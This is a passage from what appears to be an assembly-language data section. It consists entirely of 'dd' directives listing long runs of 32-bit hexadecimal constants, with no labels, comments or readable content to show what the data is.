0DC02B5B5h, 86A403C5h, 3FA80F27h, 1A3D2A4Eh dd 90459488h, 8010C454h, 50BA21CEh, 10A2D5EDh, 0DEA8CEFBh dd 3D2DFD8Dh, 0F949729Fh, 0DE52989Eh, 21955458h, 28F860C0h dd 0A75580A2h, 8A71650Ch, 0E9238144h, 622A14E6h, 0FB590D94h dd 10021689h, 802B80C8h, 0C1C94C06h, 0D1838051h, 9BE47880h dd 10A2C434h, 7886D43h, 0D798F18Ch, 98F1A24Dh, 22844873h dd 8394D9E0h, 0CF02C298h, 0D330B818h, 0AD902CC7h, 4760A6E1h dd 0B08820D6h, 62339399h, 3613A38Eh, 145C9050h, 72BDA83h dd 0ACC900CDh, 0FDD28EEDh, 4D14E610h, 0E853F40Eh, 64006414h dd 8B28008Ah, 0DB83C54Eh, 24099A4Eh, 40D1E5Eh, 9A490E84h dd 0A2E31A4h, 2809151Ch, 0F361016h, 919C62FBh, 80B95F80h dd 28A2422h, 56E4D703h, 16082685h, 19340A65h, 7A850EAh dd 1411318Ah, 0D30B1387h, 29F2940Eh, 0C537F8FFh, 93C9884h dd 91B1CE24h, 3689E440h, 728B7EC5h, 1B2E41C4h, 0BCB5FC54h dd 0E6CB081h, 6231556h, 97005FE3h, 0F95FB109h, 0E41D537h dd 2C2D63F4h, 0FC70E0ECh, 848542Ah, 309F2392h, 0B5045E7Ah dd 0F07EBD1h, 978B8EA5h, 302FB80h, 0DFB73112h, 0EA27B4C4h dd 0CCF6A227h, 260C1058h, 44A02CEh, 6701041Fh, 68B63413h dd 0EBCEABAAh, 0C4E32B87h, 4E02E7Eh, 7C308F40h, 0F218CFDh dd 37E97FE4h, 55B8EBA9h, 1C22E4A8h, 0C797E029h, 0E651365Eh dd 4ECAD2E9h, 0B1C0A0F8h, 3D6C422Eh, 0AB0594F6h, 54051781h dd 60FFC452h, 90F03809h, 883066Eh, 34E3EB04h, 80D43E7h dd 667381Bh, 0DE227940h, 2556157Ch, 882AF951h, 0CCB0518Eh dd 0FEF56724h, 0F7F1E24Eh, 0D5D59C4Dh, 7B2B7586h, 0E6C11958h dd 4C8E142h, 8629F8A8h, 47C27815h, 0F0E92108h, 6F28CA26h dd 0FD7D92A4h, 97F86056h, 0D07A5C1Dh, 0ECF04777h, 0D049D4FFh dd 29CE0F47h, 7235BADDh, 0DC61BF3Ch, 2A6751Bh, 0EC600166h dd 0B490A903h, 0B9756FA5h, 0B1B44030h, 0FD7BA8F3h, 42BBBB71h dd 6941751Eh, 8E7A56FFh, 0C65E6870h, 6A70B1Dh, 0AB18E7B1h dd 9C5DAD45h, 31E9A69h, 9E853A08h, 3D8B4C6Ah, 9A444404h dd 0B52D4F46h, 38E0EE18h, 15952042h, 3AB94901h, 0E98DCF72h dd 293AD519h, 82732A86h, 8C1CC5C1h, 933EE05Ah, 0B43085FEh dd 889704E4h, 0E9B293Dh, 7AE04836h, 5FFBF881h, 4BF88328h dd 0AA9D506Dh, 0FBF6296Dh, 0FF370F0h, 0B42D235Ch, 46A27915h dd 0EB1252CBh, 0F1733EACh, 0B57592F6h, 0C289DF60h, 9200C4A0h dd 235896Ah, 0D4D8C711h, 1D503C5Ch, 8656312Fh, 5C7CB5E6h dd 91015027h, 31031DF7h, 970B87E1h, 5A3363EBh, 40CE0771h dd 428818E5h, 5725BA73h, 658DBD90h, 0E320684Fh, 0BA73375Dh dd 2849303h, 0B8AA025Eh, 5CE75630h, 8289DA4Fh, 370771B4h dd 0A889CCE9h, 491E02F6h, 0BA940A54h, 894968C6h, 77B356C9h dd 54BDA40Ah, 14A98A08h, 8F0759E8h, 0B3C5B980h, 428B25D9h dd 0C0B9924Ah, 0C00A55A2h, 0A40810C0h, 0FBE8959Bh, 4303C21h dd 7B91647Ch, 0FF5E00BCh, 0D68E81F8h, 428721AAh, 0CCCBA3CFh dd 0F8D0D091h, 1A3BA354h, 0C9DF4981h, 0B4C529D1h, 0EB6BE2E5h dd 0CD37F1ABh, 376E6451h, 0FB2C1671h, 0BB8F8230h, 0DF86E86Fh dd 53287B57h, 407B96B3h, 21CCD9D0h, 33680C37h, 0F079496Ch dd 8152DD6Dh, 0D828998Bh, 0BEC7DD03h, 1A260438h, 0B402DFB7h dd 0E647786h, 5EC53C1Eh, 155852BFh, 88E170DEh, 9FFD78E1h dd 0FE08AF45h, 0AC617DE8h, 9972BB7Ah, 0DFA8F292h, 90FB7114h dd 0AB06067Dh, 38CBDAA0h, 80109F44h, 6AA191Ch, 70C5FC6Eh dd 5A3FFC2Dh, 6D158650h, 21B4C559h, 91EA20Ah, 3B249E4h dd 0ACFFDC2Fh, 0E74AE640h, 0C12C6B00h, 2C3949F3h, 0DF88C616h dd 6594896Eh, 0E6EBA52Ch, 254D87E1h, 500BE6Fh, 26615A64h dd 0BC303A92h, 0E29B1194h, 47180A8Fh, 2B294659h, 29C20C0Ch dd 809298C0h, 4B54F6C0h, 62AB546h, 41543121h, 95ACB805h dd 1C05BA5Ch, 4AAEAABFh, 0AABF1EFFh, 0A80A1163h, 0CFEC8D2Dh dd 9769DA84h dd 6B15A682h, 2EC1D026h, 24D79414h, 0E38AB18Ch, 749F50ACh dd 460AC399h, 0C2B331DDh, 0C1B79DFh, 0D75072E3h, 8A908C15h dd 70B9A84Bh, 0F11AE637h, 2F7A53E6h, 43CAAEF3h, 478FFBAAh dd 18275711h, 59A478Fh, 0AEF07D74h, 0CF3DE19Dh, 0E3C0D873h dd 3714B914h, 98AB609Eh, 27E093D1h, 711362FEh, 9242C074h dd 483DED44h, 0A7752037h, 0CAF3584Ah, 6A299598h, 7582A4F1h dd 1798B8A6h, 9BAF0894h, 0B92F1698h, 0BB8DC04Bh, 3F24842h dd 3ED9A743h, 4CC12099h, 0AA2B0620h, 6405AD61h, 9FDDAA8Dh dd 0EAF087D4h, 0EF32317Ch, 0CA08E9E0h, 5B874885h, 10AD7E82h dd 0EF718D01h, 1AA40799h, 3E39F15h, 0F4C68E26h, 291C54B1h dd 0CC802D5Ch, 0CCF322ADh, 4646C8ADh, 9F167A4Ah, 8A481652h dd 0B13BD0E8h, 69C61643h, 0EE2755C3h, 61BB14D0h, 4EA7437h dd 68071B95h, 8B5896E7h, 6A11B50Ah, 0B551A6FDh, 0B59447E1h dd 0A31069A9h, 7281E3D1h, 589BF589h, 106DBC3Eh, 67DEE65Dh dd 79BEA00Fh, 6709250Ch, 862D66F0h, 0BEC2E1FCh, 78A16E17h dd 0CE0A2734h, 0F2357ECDh, 0C32E4CDh, 0E549773Ah, 336BF84h dd 0BEF9E2E7h, 78C00293h, 0F8556E59h, 9AA59A1Dh, 96A1857Ah dd 0EBA19C08h, 7D858F3Bh, 6F83A00Bh, 143BE842h, 0B2F0BFC6h dd 0CE720B8h, 32964F5Ch, 0E4101D44h, 634B7CBFh, 8655A869h dd 0AAF52155h, 0E9ED8CFEh, 0B8F815A0h, 432C094Eh, 0E1D68E35h dd 28618C1Ah, 0F248EBBCh, 74951C05h, 0C253D8EDh, 800E0EFh dd 0A341252Eh, 9C5DA98Dh, 94861A88h, 18F9A20Dh, 0BD95AD45h dd 69038EA8h, 1A37F061h, 42899CDFh, 0F5563908h, 99ECB8F9h dd 682318E5h, 66D5A57h, 43D65525h, 70DDB9E0h, 29F91E25h dd 0E656E28Bh, 96D580DCh, 0EDC8863h, 90ED37B0h, 4010158Eh dd 4F7414EDh, 47C3609h, 0A79FF68Bh, 0AA701D68h, 0EEC3442h dd 0D9786128h, 0D20A5403h, 0ACADD8C5h, 90B1780h, 0B2328D52h dd 989040B7h, 837CA880h, 80ADDC07h, 0CECD9025h, 6FD1DF28h dd 0D4A3B64Eh, 0F1E74519h, 8A321B95h, 14C16A34h, 2ED1890h dd 0D394DF44h, 9E3640C5h, 5A04324Ah, 0E045AD04h, 7A708D7Ah dd 52B07B40h, 0F7C90722h, 542A8881h, 0F513D74Bh, 934D66F9h dd 41833D7Ah, 0A2A0A578h, 37C1A540h, 0A9C7A70Bh, 0F6C15BAFh dd 3E15575Bh, 0A70ADE54h, 47FA6161h, 0F820C51h, 0A8F69296h dd 34405B8Ch, 830C2DF9h, 2ECDA2B5h, 3693068Ch, 386A12DBh dd 50462317h, 4A0F83C4h, 2D521453h, 11BA8FD7h, 51602288h dd 33334682h, 8684122Ah, 0D360BFC1h, 747A38EAh, 5717D1ACh dd 3B53E198h, 0EF8F4ABBh, 5FFB3E04h, 77451B2Bh, 8362F614h dd 0B42013Ch, 0C034E98Dh, 387A1408h, 3F78AA1Eh, 87E12357h dd 5BAA2E1Fh, 6B3F7565h, 7ABEB550h, 56533D2Dh, 38D8A1EDh dd 3B891E84h, 3E2941Ch, 53A14CE7h, 9C9288D3h, 30F34A03h dd 8B0BCCC4h, 7CE49CBEh, 565CE831h, 894AA85Ch, 5FE7A19Bh dd 3583713Ch, 0CA73137Dh, 3FC4836Dh, 1631A1E5h, 0B92C941Ah dd 6A81211Eh, 6FEFCFA5h, 4F8C8565h, 0BECEF32Dh, 0A1AA6269h dd 0DF0A8DB4h, 0B57FA949h, 0B306E70Ch, 781EAB12h, 0A58B917h dd 0D01B3669h, 3250C9A8h, 925852A2h, 0AE54F115h, 89B2BEC7h dd 0C5E6C1h, 78C6FC0Ah, 261C0018h, 0D8573F90h, 91500113h dd 0F1637160h, 0F8D08F0h, 0A7D37051h, 3ACA77D8h, 500A47DCh dd 54053B85h, 4D6E38C4h, 0D6C534ADh, 7D67CE72h, 789AF3D4h dd 0E5DE1FA3h, 0CCDDFA8Ah, 0D18B30DAh, 0B555F8A3h, 0A737A69Bh dd 496A671Eh, 28AC1AACh, 0A95084E6h, 80D6E3F0h, 6FF470A9h dd 8A8485E2h, 0A8E65A57h, 71E13D0Eh, 87A3111Eh, 912520AEh dd 0BD594445h, 0F5CE7F8Ah, 2642E40Ch, 49429D1Eh, 0C60B1CF0h dd 0E316D60Ch, 783839BEh, 4A236F1h, 9FE85A61h, 82B7E218h dd 2E848636h, 48EC0461h, 56E6E561h, 0A4C55814h, 89DD1B0Ch dd 2ED0207Ch, 2053012h, 35374564h, 85C32E0h, 432E36D9h dd 995AD016h, 0AD59F0B9h, 0C1F28ACBh, 3E7D33C3h, 3F100D29h dd 0AD48FE26h, 82A21B9Fh, 0FA033210h, 0B568554Dh, 6A87EF9Fh dd 445CC39h, 7963922Bh, 5996140Dh, 0E7D6D159h, 0DF8507C7h dd 418282A3h, 51D82FE5h, 0CAC0D506h, 5EC799FFh, 0BEFB138h dd 32AAE842h, 24BE7B80h, 59B90E9Eh, 13B5183Eh, 6C3FDFCFh dd 5BD4F002h, 0B98509EFh, 0CD5DB536h, 52D1F201h, 0EAB374E6h dd 6E048B59h, 4E0371C1h, 0D44BBCF6h, 91E694BEh, 0A240ACC2h dd 0C9FE1339h, 0FA3E60A5h, 8059A231h, 0ECC458D5h, 72C05F05h dd 7F990574h, 9A296CFAh, 0C3E36946h, 26931688h, 55F77016h dd 0F45DAD89h, 24C5EAB1h, 891A8B81h, 0F535CD67h, 699DEB03h dd 540D2591h, 5BB3A3C1h, 0C01DCFFBh, 187A1E64h, 0B265D8E1h dd 4AAA0DF8h, 922932D0h, 69C8B9Fh, 0EE17A9DFh, 0A9986D60h dd 7EA0B77Eh, 3AA1DA47h, 5A41FB8Bh, 1C05EA29h, 8BAC2FB4h dd 748DF9A9h, 2CA1D691h, 7EFF8064h, 0C4D5A930h, 0BA5B50F5h dd 0B0706861h, 0D59EF606h, 4F66210Bh, 20786F2h, 0A653D23h dd 0C4A64BA7h, 176FF68h, 4ECDE649h, 99A1AE4Ah, 8A70F3E2h dd 59787061h, 2A8C8F4Dh, 77E8A85Ah, 40E2A7Bh, 0A1302F98h dd 136881EBh, 0C7AED258h, 35B1229Dh, 81F4CC9h, 0A00A1E06h dd 0AD50AE1Ch, 2E9B9444h, 594AC6h, 0CB82F874h, 0DF8556C4h dd 2D54E6F3h, 0CC7FD869h, 50C40140h, 8B9A903Dh, 6B00E772h dd 8963F9EFh, 190D3Bh, 0DF2B77BEh, 58C0D592h, 51B185B5h dd 6229547Bh, 0C31F19DFh, 68048DA2h, 5BE3A960h, 518DA504h dd 0F2BCC842h, 0F54DC287h, 401D00h, 80707ECCh, 315C9312h dd 806BD465h, 0FCA6D9Ah, 5549A2BFh, 0D3B5956Ah, 29B8E2B8h dd 1DDA59A9h, 74D7CE1Dh, 5735EF10h, 0F5A34384h, 65380E2Fh dd 27197388h, 0D248148Ch, 1A674E68h, 15E6B52Eh, 108D9F3h dd 30901509h, 0D9BD88DAh, 9045157Ah, 0B17FD473h, 2584F92Bh dd 485B05F8h, 0E0548231h, 87D6FA2Bh, 0CCD6CB4Fh, 9C1FD518h dd 52607EFFh, 14880AC3h, 870FF552h, 1895C18Ah, 0A38020AAh dd 0AB5E2AB5h, 0DA3BCFCCh, 7BF0302Ch, 1C498C29h, 4953CE6Ah dd 0C3478217h, 0A6F75662h, 6BE48120h, 3146E640h, 4A8259EDh dd 7D3C440Dh, 27F1E875h, 4D442A31h, 856D45C5h, 768709E4h dd 0A059F6FDh, 6A55CC2Dh, 9A1745F2h, 8A2D443Ch, 0EBA245A1h dd 5805754h, 94A390Ch, 0D2E9656h, 602975B0h, 8BB48A7Ah dd 4FD8AD6Ah, 55984C7Ch, 0BD0ECA8Eh, 0B0BC98A9h, 8CA7B3C2h dd 8BD8FF53h, 0E7F26878h, 3B8E862Dh, 3B01E009h, 201803B3h dd 10F8C5B1h, 1717B024h, 0B964DDE8h, 9D4FDAB0h, 265663D2h dd 842C54FEh, 0CFC8F23h, 0E2227CC6h, 686816A0h, 0A2909748h dd 410F5618h, 2D24FAF7h, 0F66D8B0Ah, 4BA2237Eh, 4D415713h dd 0EC5F5BBEh, 31DD4F6h, 7C69197Ch, 0EABE9D9h, 0E29B97E7h dd 10D82C2h, 576A362Bh, 6FDD1BACh, 0D7A3A202h, 0C5E96148h dd 50C4CFFEh, 9C526431h, 78101C40h, 0DCD238D8h, 8A84E62Ah dd 357BE7B1h, 0C45B6139h, 9518A56Ch, 0BA2501FAh, 493F88CEh dd 0A8D460A0h, 33E8BAC9h, 0A9590066h, 0DC5D2982h, 10F7EE93h dd 18BCF7F8h, 0D24F5895h, 840BF88Dh, 0D7178957h, 9686C407h dd 22D07924h, 2A146C35h, 0FD708C58h, 0B9C6E3D1h, 0F870263Bh dd 3245E0C0h, 593B434h, 3F2893F4h, 22E98834h, 7BB8BA13h dd 16F47ECAh, 0D4ADA99Ah dd 21B571E9h, 8141797Fh, 97E6F96Bh, 5402F0A9h, 74A44CF2h dd 15BE3611h, 43F6B7C1h, 0F5003C9Eh, 227BC7FDh, 8A0A15F7h dd 10A0513Dh, 2B8D1108h, 0A62B5A8Eh, 0CE802F39h, 1F3E8D72h dd 31B68848h, 2167B87Eh, 451EC926h, 0C5E1A330h, 41FABA3Bh dd 8CA26F05h, 95855801h, 99F6EC72h, 7514FA42h, 7DF2EA75h dd 0A5E7D429h, 447241AEh, 0B18D35DFh, 0E009CDBDh, 0A004FAEh dd 5A0C3055h, 520018F4h, 0B0697020h, 22544EAEh, 51660E92h dd 0D12802C6h, 2EB3C8E3h, 34B18941h, 993A94CCh, 49121262h dd 6CBB9822h, 0EBACBEE0h, 3404BF81h, 3E1E1ED1h, 8B9EA890h dd 414C809Eh, 769C9C22h, 34CD4F00h, 5EA3FE25h, 2E984EE4h dd 0E2BC66E0h, 0E38A88E4h, 0E2DE828Eh, 0B16BCD83h, 4F54392Ah dd 15634317h, 0B816BD5h, 0BA9A76B5h, 6C2B12CDh, 9E54C49Ch dd 248AAAF3h, 4476D5E3h, 0D888E117h, 0C1C3B3AEh, 7F007EA8h dd 87D1A838h, 0B42433F0h, 2C960558h, 4602631Eh, 50038C05h dd 3D2846A5h, 542A9E9Ch, 1C618438h, 3131751Dh, 0CB07C38h dd 780B58E0h, 6922CC4Eh, 68E53204h, 2C4A607Ah, 792B0087h dd 44D5B6AFh, 8CA62F8Ch, 9C0C6AFBh, 0DBAB7808h, 31336DF7h dd 0FAA6004Bh, 52C53753h, 0CD02C9A9h, 0CCA2BE8Dh, 3CB604ACh dd 0CE4FC964h, 90C2D9DCh, 9A1466E6h, 698CF80Ah, 2397EA82h dd 23584EACh, 52255BD8h, 0ACA211EBh, 0EA42A11Eh, 1E9B5C11h dd 11E925E1h, 311EA260h, 65113226h, 0DE818AA2h, 2AB4E5F1h dd 2B986C20h, 0C1418A2Dh, 1E0B392Ch, 0D8FA388Fh, 0CA403401h dd 0AB09FD76h, 85A3DBA7h, 0C838FC8Fh, 80A59C02h, 0EAB64F12h dd 0FC52B803h, 323F2E60h, 0E10840E6h, 9EC39626h, 0A17C3BC1h dd 0B8732CE0h, 4CFFF5D7h, 38843E4Dh, 7C8861FBh, 0D4D45065h dd 3B541F65h, 3B362FD6h, 7F920AB3h, 7CFD620Ch, 0B3005F97h dd 8D5562E2h, 41FFFB9Ah, 6D455F1Bh, 0F32A9B86h, 387E08DCh dd 3AC603D0h, 0A9BE07C2h, 0D605F07Fh, 518D24EDh, 810F33E9h dd 0F983FF8Dh, 211DB83h, 32E148F9h, 0E18D8910h, 0BF03FF7Dh dd 0AB6D2C42h, 88DDE0D7h, 1BD7844Fh, 0C1975542h, 76D32BC5h dd 0A518E872h, 81088307h, 64C4DE0Fh, 0E4B50820h, 153BC1C0h dd 89D31CA3h, 10651455h, 77078E2Ch, 4CDBE46Ah, 0E0872AC3h dd 38A201F0h, 566DE578h, 34D37C35h, 2AC8E2B0h, 0A560C007h dd 6EDD2C79h, 981A2886h, 0F47F08EAh, 681CC61Ah, 1C600A8Fh dd 1A77D5AAh, 54EF24FAh, 228AAFD6h, 0AD51C079h, 0D22D1147h dd 24A07F0h, 4B28901h, 9024DC08h, 7E03C011h, 0A0424835h dd 0AF870DBEh, 0F9ED43Eh, 8A60A695h, 2EC795DEh, 0A45164FCh dd 88C26A08h, 817E5526h, 0ACFD05F1h, 8750AB9h, 0C608A08Ch dd 601EFE8Eh, 0A430EF72h, 0B8727F07h, 39BC42B2h, 0E846380Ah dd 0F5E0FAA9h, 54D52B2Eh, 1874B81Fh, 6D8403BAh, 0A79FCC3Fh dd 0AB5A9E1Fh, 2C452776h, 638F338Bh, 50D2970Ch, 0D94A0E64h dd 111C351Ch, 3A6B0567h, 2F1E985Fh, 0A282CDCCh, 0E9F8C22Fh dd 94318FE5h, 9FCC818Dh, 0C0EE5C03h, 806521FCh, 0B0871AACh dd 0C5FC1143h, 0B240E3D4h, 0D85F2B2Ah, 2768AA5Bh, 280DB5D2h dd 77FA85CCh, 1B471C72h, 0AFDF15B4h, 0F10494F5h, 722A460Eh dd 0E6AB22E8h, 324B8B88h, 33915434h, 0A5703A15h, 0D425D842h dd 0BA9A490h, 0CB67FC6Fh, 53B10E3Eh, 3F96138Eh, 0C425D0AAh dd 0B47A16E3h, 0DD81A039h, 0FD3A4C01h, 0F218E4BFh, 3108B846h dd 81271C75h, 519AC07Ch, 66315Eh, 5610EAh, 2891F10Eh, 3AD97420h dd 0AB955820h, 51BA9627h, 0CE0063B3h, 0D409DC02h, 0A39EE802h dd 0A4505A00h, 0C821A0B9h, 0CF137106h, 0D51922B1h, 0D54AFD76h dd 0D22062B8h, 8A2A7173h, 0E90C8BEBh, 88A27B40h, 6FD4982h dd 0CEFB4212h, 5EB7772Ah, 0F7CBB598h, 204C97Eh, 907AEC32h dd 4B10846Eh, 9908EFFEh, 0F48F0A55h, 0C69FA520h, 0DD9D07E8h dd 0F685E341h, 9619CB41h, 86449A2Ch, 0B0036DD4h, 778E1A91h dd 48AC3509h, 77841AA5h, 3AAA8985h, 0A68C0C95h, 0ED398253h dd 6CDA091h, 76ABBB94h, 4E2D4D49h, 0BDF09EDFh, 0B3012795h dd 0EC6B0D37h, 9BA7292Eh, 0DDE2D57Ah, 0B94F6319h, 9FC05782h dd 0F823E03Ch, 0CCBBF42Ch, 0CB1A059Ch, 938ACB3h, 302456A8h dd 4B3B1623h, 8DA84AA4h, 0EA8DD06h, 334812EBh, 99A83E4Ch dd 46DD9E96h, 8FDC768Fh, 25341A3h, 9A8638B5h, 0E6F87135h dd 56D8E28h, 237A538Fh, 6E273455h, 38B0D510h, 63B1ACDAh dd 699318E2h, 5A90804Ah, 3D7AC4ACh, 24C2861Ch, 0AACA3B54h dd 0E1198548h, 0BAF78809h, 31844C46h, 672F5F4Bh, 9A37AC42h dd 0A02A8D05h, 6DD6B501h, 0C7CDDEA5h, 0D47324Ah, 0C46D1251h dd 6E0B490h, 229AFFFEh, 0F45B64AAh, 0A702134Fh, 38CA680Ch dd 0CC0C941Dh, 0E32C7282h, 5D0830B4h, 740A58D4h, 0C0F222D7h dd 102A2EF4h, 552C624h, 0D6B68BAh, 0C4B160D8h, 2E804E93h dd 8BCF15C8h, 4711430h, 10BA6600h, 5E2E8962h, 243F86B5h dd 0DDBEA7Fh, 4EE0904h, 874D46A2h, 715A71D8h, 6B013501h dd 1A850AB4h, 0F51F747Dh, 0FD462AEFh, 309A01B3h, 0C319A01Bh dd 0D0F38E9Ah, 4A031074h, 4588C94Bh, 0B985A0Eh, 0ACC3EA9Bh dd 315CB9AAh, 0D665564Fh, 207BD81Dh, 0CA7A9189h, 9E2E81A3h dd 5E48D56Fh, 0DAD2FB8Ch, 74D58AEAh, 27E26B32h, 186308CDh dd 953E0208h, 5E099463h, 0FBEDB5AAh, 0DB61DF6Ch, 6223DE7Ch dd 5C0F3149h, 0B80ED46Fh, 69DA8C46h, 0DEFA1564h, 9388BA71h dd 49A69B06h, 76B8F217h, 0A57802F0h, 43205E5Ch, 0D0B2B503h dd 336D6DACh, 47232B53h, 0F5A12D0Bh, 63389EBAh, 920F6FB4h dd 0AEE08A2Bh, 5BBD5CAEh, 0E92102CCh, 9E511850h, 4A576458h dd 2EB7A470h, 40814ED5h, 5A1E2558h, 8E58B858h, 3FC34198h dd 53E408AEh, 6A600D89h, 4954BA54h, 0A4D88360h, 0C3B07D6Fh dd 0F59B9AFh, 7711D291h, 0D59D39CDh, 140275B6h, 0B7458B16h dd 9A6D4AA9h, 7F8E6C81h, 0B42B6364h, 743DE041h, 0F2B0E2A3h dd 9F2C740Dh, 74AE14C9h, 22A06AC0h, 35259D45h, 0A7500BF3h dd 0A3CDB0BBh, 0C19604EAh, 3D2A145Ah, 0C40D0870h, 0E7FD688h dd 10F463E5h, 902CCE28h, 0B1E21D1Ch, 648B84E8h, 47D2A2BDh dd 5F4F6ED1h, 125F9D98h, 8C3DE915h, 7713A1E5h, 0BB7DEB41h dd 58F28A1Ah, 0B8FFB8ABh, 0D458BB5Ch, 0B5075687h, 0A8F4A67Dh dd 0C6360C82h, 3AD5A461h, 96CBC834h, 372D47CEh, 42208085h dd 972AC1F0h, 11976540h, 8B848A65h, 729666D2h, 62532D04h dd 99A80C0Ch, 6541BE19h, 3365FF5Dh, 2A89D4FCh, 0B605805Bh dd 2A059457h, 7A4908E5h, 1A987C27h, 0B621EB95h, 0AA93162h dd 0A4E15A5h, 50A5898Eh, 5E35078Dh, 0F4E0112Ch, 0C55EA29h dd 5FB77B51h, 0A43CAACh, 15302980h, 0F8DE1122h, 16051A52h dd 4D030B90h, 0EDB86FD1h, 0AAFBB185h, 8BD6A59h, 31CF56Bh dd 757C5B8Dh, 3F9D2FBDh, 8368C70Fh, 48070405h, 882C63CEh dd 0D7909749h, 136829Ah, 383E3044h, 13B3C2Ah, 0C1E81C0Bh dd 81030BC8h, 6FA1CDA3h, 95955652h, 0FC645D2h, 0E2014A52h dd 0FD6EA02Ch, 0D9AD016Ah, 6A10BAAAh, 0FF6C532Ch, 0A0A5A6D8h dd 0A3D73502h, 84174F8Ah, 0E36C1992h, 938DDB3Eh, 2FAE6D60h dd 528E071Eh, 0FCAB7D47h, 0ACFCA389h, 0CDA3AECDh, 2EA55B01h dd 8EF903Ah, 3247D1FEh, 465E9CE8h, 5537B2E9h, 0AFC08B6Ch dd 110CF18Dh dd 0A88B84D7h, 0CAB19871h, 0E1DCE1F0h, 0EF1DFC5Fh, 0C12A1934h dd 3D5620ACh, 0EB8FEFD6h, 55936093h, 0C51E7864h, 0C757C999h dd 92E93B17h, 0A06AE6F3h, 0C767FF8Ah, 117952F6h, 22CEAFCFh dd 0F91DAA60h, 0D8340BEh, 2780BFC2h, 53127DDAh, 85293340h dd 638E2374h, 5A2A98A5h, 0D48BC6CAh, 0F45C1C35h, 1F67EF5Eh dd 946289C4h, 0F071D1Dh, 5548FF05h, 0FF7EFBB8h, 5BBA03EAh dd 0B1AB1753h, 1448C2F2h, 951F5B31h, 7AD13E15h, 0AB93076Ah dd 40AB43A9h, 557B7731h, 8B417ECDh, 0C59592ECh, 97C055C9h dd 451E5099h, 7DBA871Dh, 0D75BAE19h, 2B723C1Dh, 62F81D3Fh dd 0ED191BDDh, 0CBAC21Bh, 0F4D5C2EAh, 0C6978A7Ch, 5D3A07BAh dd 0BA1031F1h, 21CE1995h, 1F5457Eh, 0E8018FF5h, 0B2CEE31Ah dd 0B5052BB7h, 5141D029h, 25332579h, 0F86328C2h, 4AEBEDCEh dd 375F41B0h, 1A093129h, 2ACE2F7Bh, 0C0616BA1h, 948AA3FDh dd 95C12595h, 6AE0CDF9h, 0EFE9AF76h, 7408E787h, 13B310A3h dd 31FB6255h, 1BF10080h, 0A6D95D24h, 4D91F55h, 9D4ED4F5h dd 7AC79A3h, 687F384h, 0F30BC895h, 4D4C4AC2h, 7E114F5Ah dd 0AA624677h, 0F34FCD32h, 0AED58F04h, 554EF600h, 0E1B24404h dd 31AC3E87h, 0A0A60F8Bh, 0D5A84577h, 0D431B9D1h, 603A60C5h dd 361C83ECh, 0C8820C56h, 1F457350h, 958286AAh, 0BB0D2D50h dd 6CC5C3FBh, 0D59551EDh, 0B645A94Eh, 58190026h, 0E94582D4h dd 6A7E684Ah, 67CDA285h, 6D20D49Fh, 7E7EB53Bh, 0A81587F5h dd 68EEC778h, 0BFA2771Ah, 70309A02h, 0EEE01F55h, 0EF7702DCh dd 816344Fh, 1B442032h, 55E0A81Ah, 0F3806DAAh, 0D45944C5h dd 0C00B370h, 85FA4AD5h, 0B5413955h, 3142978Bh, 8C38DDCEh dd 0C743A5A2h, 38DA3539h, 0C678A890h, 2ACA0CAh, 67400581h dd 128B3995h, 0F07353E8h, 0F280E91Ah, 154BA8E6h, 22A0D1DAh dd 0CDD969BEh, 0AFB8B39Dh, 8CA7454h, 82E746CDh, 0DAE20E4Bh dd 21E6A207h, 4A406214h, 0CCAC9D15h, 82131B2Ah, 59AF9244h dd 54202673h, 1879C53Fh, 65361F77h, 0A178A19Ch, 5ABA1A02h dd 6E23A6C5h, 1094B882h, 0C3D59048h, 4DF392E7h, 1A43D103h dd 1458B183h, 3BDFF2E2h, 33357B31h, 0C7ED4620h, 5AA659DFh dd 859A7E36h, 9DFA103Fh, 0F874B313h, 6ECB1A5Ah, 0F85AFF45h dd 10977E8Dh, 3ADFC714h, 1B501040h, 0EA7D6F17h, 0C7A3E28Bh dd 9C2FEBABh, 41884118h, 4E45B03Fh, 0D05ABA84h, 3B5D2739h dd 3A05DFB8h, 225B28ECh, 559627C1h, 0F4045066h, 5DB09167h dd 2B70005Ah, 25085AA6h, 0AE171DE8h, 93908460h, 78B3E893h dd 6BF4675Dh, 47896A9h, 0E04F7B16h, 0BFF5DDAFh, 0FB22FD18h dd 0A40F6F0Ch, 0BAFBD5FAh, 8214EF4Bh, 3C499F61h, 2D0E19Fh dd 152AF3A9h, 5D80C79Eh, 0BF69E65Bh, 6E31B221h, 0A35447Ch dd 75052EE7h, 8A55C9FDh, 0F69C33F8h, 918CC147h, 5028A283h dd 52AB02A8h, 0AACB7669h, 0F9185AA1h, 8A278A5h, 57777726h dd 8345014Dh, 0AC932619h, 0C5761672h, 9CC4224Bh, 8D0782A8h dd 56B4936Dh, 0F67C83DDh, 13991D51h, 61202250h, 0E7CF12E3h dd 0A03A7DEh, 0A22B3DA5h, 5BE0E96h, 597DDD0Bh, 0ED3A2DB8h dd 847B8565h, 0D048BCBBh, 56DF282Ch, 17501269h, 13533C39h dd 3BCE0715h, 0D336F88Bh, 91450A34h, 0A594C2C7h, 0E7B4C0A1h dd 4D0F68E7h, 6555EA42h, 0AF342CE5h, 89C4F0FCh, 0B6C75B9Bh dd 37293E02h, 90E68EE1h, 58263B86h, 0CADC2AF7h, 4151D5Fh dd 0A1D43DD0h, 57DF244Eh, 8A575A19h, 5650ACC6h, 365740ADh dd 51FEE540h, 161DA954h, 739D0426h, 8C69787h, 66B0BE81h dd 1B61CF8Ch, 49318647h, 0D269CEB0h, 0DEAA5E3Eh, 0D3CBE5Eh dd 0A3F1CA64h, 0AD628B6Dh, 8D8BC574h, 0D0D873A0h, 0BD40C680h dd 2552E321h, 0EBED255Dh, 0FA61A238h, 0C4CC5A36h, 13D520A0h dd 0A6D0440Ch, 981EEAAh, 677868CAh, 0BAC505F7h, 90875AAEh dd 1B7436Bh, 58282551h, 0AD34886Fh, 510ED621h, 0B754C167h dd 0FF13A9A1h, 5439F90Dh, 2F063A86h, 0D4CA72D5h, 0E0EA0AC9h dd 0D3A8C174h, 43CF62Fh, 0BAFE055Eh, 0D4E32682h, 0A081225Fh dd 0DCD128F2h, 4DEC8DDh, 0AC214542h, 358B6EF0h, 0BF3990D4h dd 0F1178ACh, 0FC691C85h, 6D75BBF9h, 0C453CA58h, 53D93777h dd 43F917BDh, 0D8AD2B21h, 5D6030ACh, 736A84E0h, 8381F325h dd 0EA2AB36Ah, 0E8A0F19Ah, 0F2A057ACh, 31B4022Eh, 0A6CEC773h dd 0C85D3CB7h, 6AA072C3h, 0B3438B53h, 17BF223Ah, 7F838302h dd 4F66A4F1h, 0D98E6696h, 0C142EF1Ch, 0FE294C03h, 